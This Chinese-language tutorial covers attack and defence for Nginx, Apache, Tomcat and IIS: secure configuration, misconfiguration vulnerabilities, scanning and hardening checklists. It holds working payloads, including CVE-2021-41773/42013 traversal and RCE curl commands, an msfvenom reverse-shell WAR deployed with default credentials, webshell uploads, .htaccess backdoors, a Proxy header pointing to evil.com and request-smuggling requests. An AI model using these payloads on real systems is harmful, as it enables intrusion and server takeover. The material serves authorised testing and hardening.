【合规声明】 本文所有技术内容、配置示例、漏洞利用 payload 与扫描脚本仅用于授权渗透测试、安全研究与合规学习。请勿将文中任何技术用于未授权目标，否则由此产生的一切法律责任由使用者本人承担。文中涉及的 CVE 漏洞信息均来自公开披露渠道。

一、Web中间件安全概述

Web 中间件（Web Server / Web Application Middleware）是介于操作系统与业务应用之间的核心服务进程，负责接收 HTTP 请求、路由分发、静态资源服务、反向代理、TLS 终止与协议处理。由于中间件直接面向公网，且其配置文件通常由运维人员手工维护，配置错误类漏洞长期占据 OWASP 与各类应急响应中心的高危榜单。

与 SQL 注入、XSS 等应用层漏洞不同，中间件漏洞具有三个显著特征：一是隐蔽性强，错误配置往往在业务功能正常时不会报错，只有在特定 payload 下才会触发；二是影响面广，一处配置错误可能波及全站所有虚拟主机；三是修复成本低但发现成本高，往往只需改一行配置即可修复，但需要深厚的中间件原理知识才能定位。

本文将以 Nginx 与 Apache 为核心，结合 Tomcat、IIS 的典型漏洞，系统讲解中间件安全攻防的全链路技术，涵盖配置详解、漏洞原理、绕过技巧、自动化扫描、请求走私与安全加固。

【提示】 中间件安全是纵深防御的第一道也是最重要的一道边界。据统计，约 35% 的真实攻防演练突破口来自中间件配置缺陷，而非业务代码漏洞。

二、Web中间件基础

2.1 Web中间件定义与分类

Web 中间件指负责处理 HTTP/HTTPS 协议、提供静态资源服务、反向代理、负载均衡与请求转发的服务软件。常见中间件及其特点如下表所示。

中间件	开发语言	默认端口	典型应用场景	配置文件
Nginx	C	80/443	反向代理、负载均衡、静态资源	nginx.conf
Apache HTTPD	C	80/443	静态站点、CGI、动态模块	httpd.conf/.htaccess
Tomcat	Java	8080/8443	JSP/Servlet 容器	server.xml/web.xml
IIS	C/C++	80/443	Windows 平台 Web 服务	applicationHost.config
Lighttpd	C	80	轻量静态服务、嵌入式	lighttpd.conf
Caddy	Go	80/443	自动 HTTPS、现代静态站	Caddyfile

2.2 架构对比：事件驱动 vs 进程/线程模型

Nginx 与 Apache 的核心差异在于并发模型。理解这一差异是理解后续漏洞（如请求走私、解析漏洞）的基础。

维度	Nginx（事件驱动）	Apache（进程/线程模型）
并发模型	Master + Worker，异步非阻塞 epoll	Prefork/Worker/Event MPM
内存占用	低，单 Worker 处理数千连接	较高，每连接对应线程/进程
配置粒度	location 块，正则与前缀混合	Directory/Location，支持 .htaccess 分布式配置
动态模块	编译期或动态加载	支持 DSO 动态加载
解析机制	转发至后端 PHP-FPM	mod_php 直接内置或反代

【注意】 Apache 的 .htaccess 分布式配置既是其灵活性来源，也是大量配置注入漏洞的温床。Nginx 不支持 .htaccess，配置集中化，但 location 匹配规则复杂，常被绕过。

2.3 市场份额与风险面

根据 Netcraft 与 W3Techs 的长期统计，Nginx 与 Apache 合计占据全球 Web 服务器市场约 60% 以上份额，其中 Nginx 在高流量站点中占比持续上升。市场份额高意味着攻击面集中：通用配置模板、默认安装、批量扫描脚本使得即使是历史久远的漏洞仍能批量命中未及时加固的目标。

中间件安全风险面主要包含四类：一是默认配置风险（如 server_tokens 泄露版本、目录列表开启）；二是业务自定义配置错误（alias 路径穿越、proxy_pass 可控）；三是历史 CVE 漏洞（Apache 路径穿越系列、Tomcat AJP）；四是中间件与后端解析器的交互缺陷（CGI fix_pathinfo 解析漏洞）。

2.4 安全配置基线概述

安全配置基线是指中间件在交付运行前应满足的最小安全要求集合，通常包含：隐藏版本号、关闭目录列表、限制请求方法、配置安全响应头、启用访问控制、最小化模块加载、启用 TLS、配置日志审计。下文将逐一展开 Nginx 与 Apache 的基线实现。

三、Nginx安全配置详解

3.1 Nginx配置文件结构

Nginx 配置采用嵌套块结构，自顶向下依次为 main、events、http、server、location。理解每个块的作用域是编写安全配置的前提。

# main 全局块：影响 Nginx 整体行为
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;

# events 块：影响网络连接
events {
    worker_connections 10240;
    multi_accept on;
}

# http 块：HTTP 服务全局配置
http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile      on;
    keepalive_timeout 65;

    # server 块：虚拟主机
    server {
        listen 80;
        server_name example.com;

        # location 块：URL 匹配与处理
        location / {
            root /usr/share/nginx/html;
            index index.html;
        }
    }
}

3.2 核心指令安全对照表

指令	作用域	默认值	安全建议	说明
server_tokens	http/server/location	on	off	隐藏版本号，避免指纹识别
client_max_body_size	http/server/location	1m	10m	限制上传体积，防资源耗尽
limit_req	http/server/location	-	配合 zone	限制请求速率，防 CC
limit_conn	http/server/location	-	配合 zone	限制并发连接数
client_header_timeout	http/server	60s	30s	防慢速头部攻击
client_body_timeout	http/server	60s	30s	防慢速主体攻击
autoindex	location	off	off	禁止目录列表
access_log	http/server/location	on	开启并集中存储	审计追溯

3.3 目录与文件访问控制

Nginx 通过 location 的 allow/deny 与 internal 指令实现访问控制。internal 指令标记的 location 只能由内部重定向访问，常用于保护敏感接口。

# 禁止访问隐藏文件与备份
location ~ /\. {
    deny all;
    access_log off;
    log_not_found off;
}

# 禁止访问备份与压缩包
location ~* \.(bak|swp|sql|tar|gz|zip|log)$ {
    deny all;
}

# 仅允许内网访问管理后台
location /admin/ {
    allow 10.0.0.0/8;
    allow 192.168.0.0/16;
    deny all;
    proxy_pass http://backend;
}

# internal 保护：外部不可直接访问
location /internal_api/ {
    internal;
    proxy_pass http://backend/internal/;
}

3.4 HTTPS安全配置

HTTPS 配置需禁用不安全协议与弱套件，并启用 HSTS 强制浏览器走 HTTPS。

server {
    listen 443 ssl http2;
    server_name example.com;

    ssl_certificate     /etc/nginx/ssl/fullchain.pem;
    ssl_certificate_key /etc/nginx/ssl/privkey.pem;

    # 仅保留 TLS 1.2/1.3
    ssl_protocols TLSv1.2 TLSv1.3;
    # 优先服务端套件，前向保密
    ssl_prefer_server_ciphers on;
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:!aNULL:!MD5:!RC4';

    # HSTS：强制 HTTPS，半年有效期
    add_header Strict-Transport-Security "max-age=15768000; includeSubDomains; preload" always;

    # 会话票据与缓存
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    ssl_session_tickets off;
}

3.5 反向代理安全配置

反向代理场景需注意：保护后端真实 IP 头部、隐藏内部响应头、校验上游 Host。

location /api/ {
    proxy_pass http://backend;

    # 设置规范的代理头，避免后端信任伪造 IP
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;

    # 隐藏后端泄露的内部响应头
    proxy_hide_header X-Powered-By;
    proxy_hide_header Server;

    # 限制上游响应体积与超时
    proxy_read_timeout 30s;
    proxy_buffer_size 16k;
}

3.6 安全响应头配置

安全响应头可有效缓解 XSS、点击劫持、MIME 嗅探等前端风险。

# 防点击劫持
add_header X-Frame-Options "SAMEORIGIN" always;
# 防 MIME 嗅探
add_header X-Content-Type-Options "nosniff" always;
# 反射型 XSS 缓解（现代浏览器应配合 CSP）
add_header X-XSS-Protection "1; mode=block" always;
# 内容安全策略
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'" always;
# Referrer 策略
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

四、Nginx常见漏洞

4.1 目录穿越漏洞：alias配置错误

alias 指令用于将 URL 路径映射到文件系统目录。当 location 末尾带 / 而 alias 末尾不带 / 时（或反之），会产生路径穿越。

# 漏洞配置：location 末尾有 /，alias 末尾没有 /
location /files {
    alias /home/www/uploads/;
}

利用方式：访问 http://target/files../etc/passwd，Nginx 会将 URL 去掉 /files 前缀，剩余 ../etc/passwd 拼接到 alias 后，实际读取 /home/www/uploads/../etc/passwd，即 /home/www/etc/passwd，越界访问上级目录。

【提示】 修复方式是保持 location 与 alias 末尾斜杠一致：要么都带 /，要么都不带。location /files/ { alias /home/www/uploads/; } 是安全写法。

4.2 目录穿越：alias + 正则

当 location 使用正则捕获且 alias 引用 $1 时，若正则匹配范围过宽，同样会引发穿越。

# 漏洞配置：正则未锚定结尾
location ~ ^/static/(.*)$ {
    alias /var/www/static/$1;
}

利用 payload：/static/../../etc/passwd，Nginx 将 ../../etc/passwd 作为 $1 拼接，读取任意文件。修复时应对 $1 做严格字符校验或使用 root 替代 alias。

4.3 CRLF注入：$uri配置错误

$uri 是解码后的请求路径，包含未过滤的原始字符。若在响应头或重定向中使用 $uri，攻击者注入 %0d%0a 即可注入额外的响应头或主体。

# 漏洞配置：使用 $uri 做跳转
location /redirect {
    return 302 https://example.com$uri;
}

利用 payload：/redirect/%0d%0aSet-Cookie:%20evil=1，Nginx 会在响应中注入伪造的 Set-Cookie 头。修复方式是使用 $request_uri（原始未解码路径）或对 $uri 过滤换行符。

4.4 配置错误导致PHP代码执行：fix_pathinfo

当 Nginx 将任意后缀转发给 PHP-FPM，且 PHP 的 cgi.fix_pathinfo=1 时，上传图片马 shell.jpg/.php 可能被当作 PHP 执行。

# 漏洞配置：将所有路径交给 PHP 解析
location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
}

利用流程：上传 shell.jpg（内容为 PHP 代码），访问 http://target/shell.jpg/.php。PHP-FPM 在 fix_pathinfo=1 时会尝试解析路径，将 shell.jpg 作为脚本执行。修复方式：在 PHP 配置中设置 security.limit_extensions = .php，并严格匹配 PHP 解析的 location。

4.5 SSRF：proxy_pass可控

当 proxy_pass 的目标由用户可控变量拼接时，攻击者可操纵后端请求目标，形成 SSRF。

# 漏洞配置：proxy_pass 目标来自请求头
location /proxy/ {
    set $upstream http://$http_x_target;
    proxy_pass $upstream;
}

利用 payload：携带请求头 X-Target: 169.254.169.254/latest/meta-data/，Nginx 会向云元数据服务发起请求，泄露实例凭证。修复方式：白名单校验上游目标，禁止使用 $http_* 变量直接拼接 proxy_pass。

4.6 请求走私：HTTP/0.9与CL.TE

Nginx 在某些版本下对畸形请求的处理与后端不一致，可导致请求走私。例如 HTTP/0.9 风格请求或 Content-Length 与 Transfer-Encoding 同时存在时的解析差异，详情见第十二章。

五、Nginx配置绕过技巧

5.1 location匹配规则绕过

Nginx location 匹配优先级为：精确匹配 = > 前缀 ^~ > 正则 ~/~* > 普通前缀。配置者常误以为普通前缀能拦截所有变体，从而被绕过。

# 漏洞配置：仅拦截 .php，但正则不区分大小写未配置
location ~ \.php$ {
    deny all;
}
# 绕过：访问 admin.PHP（大写）可能命中其他 location

绕过技巧集：利用大小写（.PHP）、双扩展名（.php.jpg）、URL 编码（.p%68p）、尾部斜杠或参数（.php/、.php?a）、以及路径分号截断等。修复时应使用 ~* 不区分大小写并锚定结尾。

5.2 alias路径穿越绕过

结合 URL 编码与 .. 可绕过简单的 deny 规则。当 deny 仅匹配字面量时，编码后的 %2e%2e%2f 可能逃过匹配但仍被文件系统解析。

5.3 limit_req限流绕过

limit_req 默认以客户端 IP 为 key，若 IP 来自 X-Forwarded-For 且 Nginx 配置 limit_req_key $http_x_forwarded_for，则攻击者可伪造该头，每个请求使用不同 IP，使限流形同虚设。修复方式：使用 $binary_remote_addr 作为 key，并校验上游可信代理。

5.4 access控制绕过：X-Forwarded-For

若访问控制基于 $http_x_real_ip 或 $http_x_forwarded_for 判断客户端 IP，攻击者伪造这些头即可伪造为内网 IP 绕过 deny。

# 漏洞配置：信任 X-Real-IP 头
location /admin {
    if ($http_x_real_ip ~ ^10\.|192\.168\.) {
        # 误判为内网放行
    }
}

修复方式：仅在可信上游链路使用这些头，并设置 real_ip_header 配合 set_real_ip_from 校验来源。

5.5 auth_basic绕过

auth_basic 基于 HTTP Basic 认证。绕过场景包括：弱口令爆破、location 未覆盖所有路径导致认证缺失（如存在未被认证的 location /api/v2/）、以及 HTTP 方法差异（某些 location 仅对 GET 认证而放行 POST）。修复时需确保敏感 location 全覆盖且对所有方法生效。

六、Apache安全配置详解

6.1 Apache配置文件结构

Apache 主配置为 httpd.conf，同时支持分布式配置 .htaccess。模块通过 LoadModule 加载。

# httpd.conf 主配置
ServerRoot "/etc/httpd"
Listen 80
User apache
Group apache

# 加载模块
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule security2_module modules/mod_security2.so

# 包含子配置
Include conf.d/*.conf

6.2 核心指令安全对照表

指令	作用域	默认值	安全建议	说明
ServerTokens	全局	Full	Prod	隐藏版本与操作系统信息
ServerSignature	全局	On	Off	关闭错误页签名
TraceEnable	全局	On	Off	禁止 TRACE 方法
Options	Directory	Indexes FollowSymLinks	-Indexes	关闭目录列表
AllowOverride	Directory	All	None	禁用 .htaccess
Require	Directory	all granted	严格授权	Apache 2.4 访问控制
ServerTokens	全局	Full	Prod	最小化信息泄露

6.3 目录访问控制

Apache 2.4 使用 Require 指令进行访问控制，并推荐禁用 .htaccess 以提升性能与安全。

<Directory /var/www/html>
    Options -Indexes +FollowSymLinks
    AllowOverride None
    Require all granted
</Directory>

<Directory /var/www/html/admin>
    # 仅允许内网
    Require ip 10.0.0.0/8 192.168.0.0/16
</Directory>

# 禁止访问敏感文件
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

6.4 mod_security WAF配置

mod_security 是 Apache 最成熟的 WAF 模块，结合 OWASP CRS 规则集可拦截 SQL 注入、XSS 等。

LoadModule security2_module modules/mod_security2.so

<IfModule mod_security2.c>
    SecRuleEngine On
    SecRequestBodyAccess On
    SecRequestBodyLimit 10485760
    # 加载 OWASP CRS
    IncludeOptional /etc/modsecurity/crs/*.conf
    # 日志
    SecAuditEngine RelevantOnly
    SecAuditLog /var/log/httpd/modsec_audit.log
</IfModule>

6.5 mod_evasive防CC攻击

mod_evasive 通过限制单 IP 请求频率与并发数防御 CC 与 DDoS。

LoadModule evasive20_module modules/mod_evasive20.so

<IfModule mod_evasive20.c>
    DOSHashTableSize 3097
    DOSPageCount 2
    DOSSiteCount 50
    DOSPageInterval 1
    DOSSiteInterval 1
    DOSBlockingPeriod 60
    DOSEmailNotify admin@example.com
</IfModule>

6.6 Apache HTTPS安全配置

Listen 443
<VirtualHost *:443>
    ServerName example.com
    SSLEngine on
    SSLCertificateFile /etc/pki/tls/certs/fullchain.pem
    SSLCertificateKeyFile /etc/pki/tls/private/privkey.pem
    SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
    SSLCipherSuite HIGH:!aNULL:!MD5:!3DES:!RC4
    SSLHonorCipherOrder on
    Header always set Strict-Transport-Security "max-age=15768000"
</VirtualHost>

七、Apache常见漏洞

7.1 .htaccess利用

当 AllowOverride 未关闭时，攻击者若能写入 .htaccess，可通过 AddType、SetHandler、php_value 等指令改变文件解析行为，实现配置注入。

# 攻击者写入的 .htaccess
AddType application/x-httpd-php .jpg
# 使 .jpg 被 mod_php 解析为 PHP 执行

利用场景：上传图片马后，在图片目录写入上述 .htaccess，即可使 shell.jpg 被解析执行。还可通过 php_value auto_prepend_file 注入全局包含文件实现后门持久化。修复方式：将 AllowOverride 设为 None，禁止 .htaccess 生效。

7.2 目录穿越漏洞：Alias配置错误

Alias 指令类似 Nginx 的 alias，配置不当时同样导致穿越。

# 漏洞配置：Alias 末尾斜杠不一致
Alias /pub /var/www/pub
<Directory /var/www/pub>
    Require all granted
</Directory>

利用 payload：/pub/../secret/config，可能读取受限目录文件。修复方式是保持 Alias 与 Directory 末尾斜杠一致并严格限定 Directory。

7.3 HTTPoxy漏洞

HTTPoxy 是因 CGI 程序信任 HTTP Proxy 请求头并将其注入为 HTTP_PROXY 环境变量导致的 SSRF。当应用使用该环境变量作为出站代理时，攻击者可劫持出站流量。

# 利用 payload：在请求中注入 Proxy 头
GET / HTTP/1.1
Host: target.com
Proxy: http://evil.com:8080

修复方式：在 Apache 配置中卸载 Proxy 请求头。RequestHeader unset Proxy，或升级修复版本的中间件。

7.4 CVE-2021-41773路径穿越

Apache 2.4.49 版本存在路径穿越漏洞，攻击者可读取 web 根目录外文件。当目录配置 Require all granted 且启用了别名时，可被绕过访问控制。

# 利用 payload
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/etc/passwd"
# 双重编码 .. 为 .%2e 绕过路径规范化

影响：可读取任意文件。当 mod_cgi 启用时还可进一步 RCE。

7.5 CVE-2021-42013路径穿越绕过

CVE-2021-41773 的补丁不完整，2.4.50 仍可被双编码绕过。

# 利用 payload：双重 URL 编码
curl --path-as-is "http://target/cgi-bin/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
# %%32%65 解码为 %2e 再解码为 .，绕过单次过滤

当 mod_cgi 启用时，可执行命令：

curl --path-as-is "http://target/cgi-bin/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d 'echo Content-Type: text/plain; id'

修复方式：升级至 2.4.51 及以上版本。

八、Apache解析漏洞

8.1 多扩展名解析

Apache 的 mod_php 默认按 AddHandler application/x-httpd-php .php 解析，该配置会解析文件名中任意位置包含 .php 的文件，而不仅限于以 .php 结尾。

# 漏洞配置
AddHandler application/x-httpd-php .php

利用 payload：上传 shell.php.jpg，Apache 识别到 .php 扩展名即按 PHP 解析，shell.php.jpg 被执行。

【提示】 AddHandler 与 AddType 的区别在于：AddHandler 按扩展名任意位置匹配，AddType 按最后一个扩展名匹配。安全做法是使用 SetHandler 或 FilesMatch 严格限定以 .php 结尾的文件。

8.2 AddHandler配置导致的解析问题

修复示例：用 FilesMatch 严格限定。

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

8.3 mod_cgi配置漏洞

当 mod_cgi 配置允许在特定目录执行 CGI，且攻击者可上传脚本文件时，可执行任意命令。常见于 AllowOverride 开启且配置了 Options +ExecCGI 的上传目录。

8.4 php_flag/php_value配置注入

若 .htaccess 允许使用 php_flag/php_value 指令，攻击者可注入 PHP 配置。

# 攻击者写入的 .htaccess
php_value auto_prepend_file /tmp/shell.php
php_flag display_errors on

这会使该目录所有 PHP 文件包含 /tmp/shell.php，实现隐蔽后门。修复方式：禁用 AllowOverride 或在 PHP 配置中通过 php_admin_flag/php_admin_value 锁定关键配置（admin 指令不可被 .htaccess 覆盖）。

九、Tomcat安全攻防

9.1 Tomcat架构与配置文件

Tomcat 是 Java Servlet 容器，核心配置文件包括 server.xml（连接器与服务）、web.xml（Servlet 映射）、context.xml（上下文资源）与 tomcat-users.xml（用户角色）。

<!-- server.xml 关键配置 -->
<Connector port="8080" protocol="HTTP/1.1"
           connectionTimeout="20000"
           redirectPort="8443" />
<!-- AJP 连接器，Ghostcat 漏洞入口 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />

9.2 Manager后台弱口令与部署WAR

Tomcat 自带 Manager 应用，默认位于 /manager/html，弱口令如 tomcat/tomcat、admin/admin 可登录后部署包含 jsp 后门的 WAR 包实现 RCE。

# 生成 WAR 后门
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war -o shell.war
# 通过 Manager 上传部署，访问 /shell/ 触发反弹 shell
curl -u tomcat:tomcat "http://target:8080/manager/text/deploy?path=/shell&update=true" --upload-file shell.war

9.3 CVE-2017-12615：PUT方法上传

Tomcat 7.0.0-7.0.79 默认开启 PUT 方法，结合 Windows 下 %20 截断或 JSP 解析可上传 webshell。

# 利用 payload：PUT 上传 JSP
curl -X PUT "http://target:8080/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'

9.4 CVE-2020-1938 Ghostcat：AJP文件包含

AJP 端口 8009 暴露时，攻击者可通过 AJP 协议读取或包含 webapps 下任意文件，配合可上传的 JSP 片段实现 RCE。

# 利用脚本
python ajpShooter.py http://target:8080 8009 /WEB-INF/web.xml read
# 包含恶意文件执行
python ajpShooter.py http://target:8080 8009 /uploaded/evil.jsp eval

修复方式：关闭 8009 端口或设置 secret 认证。

9.5 CVE-2019-0232 RCE：enableCmdLineArguments

Windows 平台 Tomcat 9.0.0.M1-9.0.17 启用 CGI Servlet 且 enableCmdLineArguments=true 时，通过命令行参数注入实现 RCE。

# 利用 payload
curl "http://target:8080/cgi-bin/hello.bat?&dir"

9.6 CVE-2022-23181路径穿越

Tomcat session 持久化配置中 FileStore 的 directory 参数存在路径穿越，可写入恶意 session 文件实现 RCE。修复方式为升级至修复版本。

十、IIS安全攻防

10.1 IIS版本与功能

IIS 版本	系统	特性	已知解析漏洞
IIS 6.0	Windows 2003	ISAPI 扩展	目录解析、分号截断
IIS 7.0/7.5	Win2008/2008R2	FastCGI 集成	CGI fix_pathinfo
IIS 8.0+	Win2012+	改进的请求过滤	历史漏洞减少

10.2 IIS 6.0解析漏洞

IIS 6.0 存在两类经典解析漏洞：目录解析与分号截断。

目录解析：以 .asp/.asa 结尾的目录下所有文件被当作 ASP 执行。

# 利用 payload
# 上传文件至 /test.asp/shell.jpg，shell.jpg 被当作 ASP 执行

分号截断：文件名中分号后内容被截断，shell.asp;.jpg 被解析为 shell.asp。

10.3 IIS 7.0/7.5 CGI解析漏洞

IIS 7.x 集成 FastCGI 且 PHP cgi.fix_pathinfo=1 时，与 Nginx 类似存在解析漏洞。

# 利用 payload
curl "http://target/upload/shell.jpg/.php"
# shell.jpg 被当作 PHP 执行

修复方式：设置 cgi.fix_pathinfo=0 并限制解析扩展名。

10.4 PUT方法开启利用

当 IIS 开启 WebDAV 并允许 PUT 方法时，可直接上传 webshell。

# 利用流程：PUT 上传后 MOVE 改名
curl -X PUT "http://target/shell.txt" -d '<%eval request("cmd")%>'
curl -X MOVE "http://target/shell.txt" -H "Destination: http://target/shell.asp"

10.5 WebDAV漏洞

WebDAV 的 PROPFIND/LOCK 等方法可泄露目录结构，结合 PUT 可写入恶意文件。应禁用非必要 WebDAV 扩展。

10.6 HTTP.sys漏洞

CVE	漏洞	影响	利用特征
CVE-2015-1635	MS15-034 HTTP.sys 远程代码执行/拒绝服务	缓冲区溢出	Range 头超大值
CVE-2021-31166	HTTP Protocol Stack RCE	缓冲区溢出	特殊 Accept-Encoding 头

# CVE-2015-1635 检测 payload
curl -H "Host: target.com" -H "Range: bytes=0-18446744073709551615" "http://target/iisstart.htm"
# 返回 416 提示存在漏洞，可进一步触发 BSOD

10.7 短文件名枚举

IIS 使用 8.3 短文件名格式，通过 ~1 通配可枚举文件名前缀，泄露敏感文件信息。

# 枚举 payload
curl "http://target/a*~1*/.aspx"
# 返回 404 vs 400 差异判断是否存在以 a 开头的短文件名

十一、中间件漏洞扫描与利用

11.1 Nginx漏洞扫描脚本

以下脚本检测 Nginx 常见的 alias 穿越与版本泄露。

import requests

def scan_nginx_alias_traversal(url):
    """检测 alias 目录穿越"""
    payloads = [
        "/files../etc/passwd",
        "/static/../../etc/passwd",
        "/uploads/../../../../etc/passwd",
    ]
    for p in payloads:
        target = url.rstrip("/") + p
        try:
            r = requests.get(target, timeout=5)
            if "root:" in r.text and "/bin/" in r.text:
                print(f"[+] 漏洞存在: {target}")
                return True
        except Exception:
            continue
    return False

def scan_nginx_version(url):
    """检测 server_tokens 是否泄露版本"""
    r = requests.get(url, timeout=5)
    server = r.headers.get("Server", "")
    if "nginx" in server.lower() and any(c.isdigit() for c in server):
        print(f"[+] 版本泄露: {server}")
    else:
        print("[-] 未泄露版本")

if __name__ == "__main__":
    target = "http://target.com"
    scan_nginx_version(target)
    scan_nginx_alias_traversal(target)

11.2 Apache配置审计工具

apache2buddy 是 Apache 性能与配置审计脚本，nikto 是综合 Web 漏洞扫描器。

# Apache 配置审计
curl -sL https://raw.githubusercontent.com/richardforth/apache2buddy/master/apache2buddy.pl | perl

# Nikto 综合扫描
nikto -h http://target.com -o result.txt

# 专项检测 CVE-2021-41773
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/etc/passwd"

11.3 Tomcat扫描

TomcatScanner 自动检测 Manager 后台、示例应用、已知 CVE。

# TomcatScanner
python TomcatScanner.py -u http://target:8080

# 检测 Ghostcat
python ajpShooter.py http://target:8080 8009 /WEB-INF/web.xml read

11.4 IIS扫描

IIS-ShortName-Scanner 枚举短文件名，检测 HTTP.sys 漏洞。

# 短文件名枚举
java -jar iis_shortname_scanner.jar http://target.com/

# HTTP.sys 检测
curl -H "Range: bytes=0-18446744073709551615" "http://target/"

11.5 中间件指纹识别

通过响应头、默认页面、错误页与 favicon 哈希识别中间件类型与版本。

# 综合指纹识别
curl -sI http://target.com | grep -i server
whatweb http://target.com

# favicon 哈希指纹
python -c "import mmh3,requests,codecs; r=requests.get('http://target/favicon.ico'); print(mmh3.hash(codecs.encode(r.content,'base64')))"

十二、请求走私攻击

12.1 HTTP请求走私原理

HTTP 请求走私（Request Smuggling）利用前后端服务器对 HTTP 请求边界解析不一致，将一个请求的尾部"走私"为下一个请求的开头，从而劫持其他用户的请求。核心差异来自 Content-Length（CL）与 Transfer-Encoding: chunked（TE）的处理冲突，分为三种类型。

类型	前端行为	后端行为	利用方式
CL.TE	用 CL 定长	用 TE 分块	前端发完整，后端截断后走私尾部
TE.CL	用 TE 分块	用 CL 定长	前端分块，后端按 CL 截断
TE.TE	混淆 TE	一方识别另一方忽略	通过混淆头绕过一方

12.2 Nginx请求走私利用

当 Nginx（前端）按 CL 处理而后端按 TE 处理时，构造 CL.TE 走私。

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

G

Nginx 按 CL 认为请求体 6 字节，转发完整数据；后端按 TE 读到 0\r\n\r\n 认为请求结束，剩余的 G 被当作下一个请求的开头走私。

12.3 Apache请求走私利用

Apache 作为后端时，TE 与 CL 的优先级差异可被利用。构造 TE.CL 走私 payload。

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /admin HTTP/1.1
Host: target.com
Content-Length: 10

x=1
0

12.4 混合中间件环境走私

在 Nginx 反代 Apache 的混合架构中，需先探测两端解析行为，再选择合适的走私类型。常见利用包括：走私管理请求绕过前端访问控制、缓存投毒、劫持他人 Session。

12.5 请求走私危害与检测

危害：Web 缓存投毒（将恶意响应缓存给其他用户）、Session 固定与窃取、前端安全控制绕过。

检测方法：时序探测（构造歧义请求观察响应延迟差异）、差异响应探测（同一走私 payload 多次发送，观察他人请求被污染的迹象）。

【注意】 请求走私测试具有副作用，可能影响其他真实用户的请求，必须在隔离环境测试，切勿在生产环境盲测。

十三、中间件安全加固

13.1 Nginx安全加固清单

序号	加固项	配置/操作	优先级
1	隐藏版本号	server_tokens off	高
2	最小权限运行	user nginx	高
3	关闭目录列表	autoindex off	高
4	限制请求体积	client_max_body_size 10m	中
5	请求速率限制	limit_req zone=req burst=20	高
6	连接数限制	limit_conn zone 50	中
7	头部超时	client_header_timeout 30s	中
8	主体超时	client_body_timeout 30s	中
9	HTTPS 强制	重定向 80 至 443	高
10	TLS 1.2+	ssl_protocols TLSv1.2 TLSv1.3	高
11	HSTS	add_header Strict-Transport-Security	高
12	安全响应头	X-Frame-Options/CSP	中
13	禁用未授权方法	limit_except GET POST	中
14	隐藏内部响应头	proxy_hide_header	中
15	日志审计	access_log 开启	高
16	错误页定制	error_page 自定义	低
17	禁止访问隐藏文件	location ~ /.	高
18	禁止访问备份	location ~* .(bak|sql|log)$	中
19	限制 SSL 重协商	ssl_handshake_timeout	低
20	限制并发	worker_connections 适度	中
21	禁用 server_tokens	配合 above	高
22	open_file_cache	缓存文件描述符	低

13.2 Apache安全加固清单

序号	加固项	配置/操作	优先级
1	隐藏版本	ServerTokens Prod	高
2	关闭签名	ServerSignature Off	高
3	禁用 TRACE	TraceEnable Off	高
4	禁用 .htaccess	AllowOverride None	高
5	关闭目录列表	Options -Indexes	高
6	最小化模块	注释未用 LoadModule	中
7	最小权限	User apache	高
8	限制请求体积	LimitRequestBody	中
9	限制方法	LimitExcept	中
10	安装 mod_security	WAF 防护	高
11	安装 mod_evasive	防 CC	中
12	HTTPS	TLS 1.2+	高
13	卸载 Proxy 头	RequestHeader unset Proxy	中
14	安全响应头	Header set X-Frame-Options	中
15	日志审计	CustomLog 开启	高
16	错误页定制	ErrorDocument	低
17	目录穿越修复	Alias 斜杠一致	高
18	解析漏洞修复	FilesMatch 严格	高
19	升级补丁	关注 CVE 公告	高
20	禁用 FollowSymLinks	Options -FollowSymLinks	低
21	限制并发	MaxRequestWorkers	中
22	关闭 ServerStatus	限制 /server-status 访问	高

13.3 Tomcat安全加固清单

序号	加固项	配置/操作	优先级
1	删除示例应用	移除 docs/examples	高
2	删除 Manager	或加复杂口令	高
3	关闭 AJP	注释 8009 或加密	高
4	关闭 PUT	web.xml readonly true	高
5	隐藏版本	修改 ServerInfo.properties	中
6	最小权限	非 root 运行	高
7	HTTPS	配置 SSL 连接器	高
8	关闭自动部署	autoDeploy=false	中
9	会话超时	session-timeout 30	中
10	关闭目录列表	listings false	中
11	限制管理后台 IP	RemoteAddrValve	中
12	关闭 war 热部署	unpackWARs 谨慎	低
13	日志审计	log4j 配置	中
14	升级补丁	关注 CVE	高
15	隐藏错误堆栈	删除 error 页堆栈	中

13.4 IIS安全加固清单

序号	加固项	配置/操作	优先级
1	删除不必要的 ISAPI	移除未用扩展	高
2	禁用 WebDAV	仅在必要时启用	高
3	关闭目录浏览	Directory Browsing off	高
4	限制请求过滤	Request Filtering	高
5	修复 fix_pathinfo	设置 cgi.fix_pathinfo=0	高
6	隐藏版本头	移除 X-Powered-By	中
7	HTTPS	配置证书	高
8	关闭短文件名	NtfsDisable8dot3Creation	中
9	应用 HTTP.sys 补丁	系统更新	高
10	限制上传目录执行权限	取消脚本执行权限	高
11	URL 重写规则	阻止恶意请求	中
12	限制请求体积	maxAllowedContentLength	中
13	日志审计	启用 W3C 日志	高
14	关闭 TRACE	请求过滤	中
15	最小权限应用池	独立低权限账户	高

13.5 最小权限与日志配置

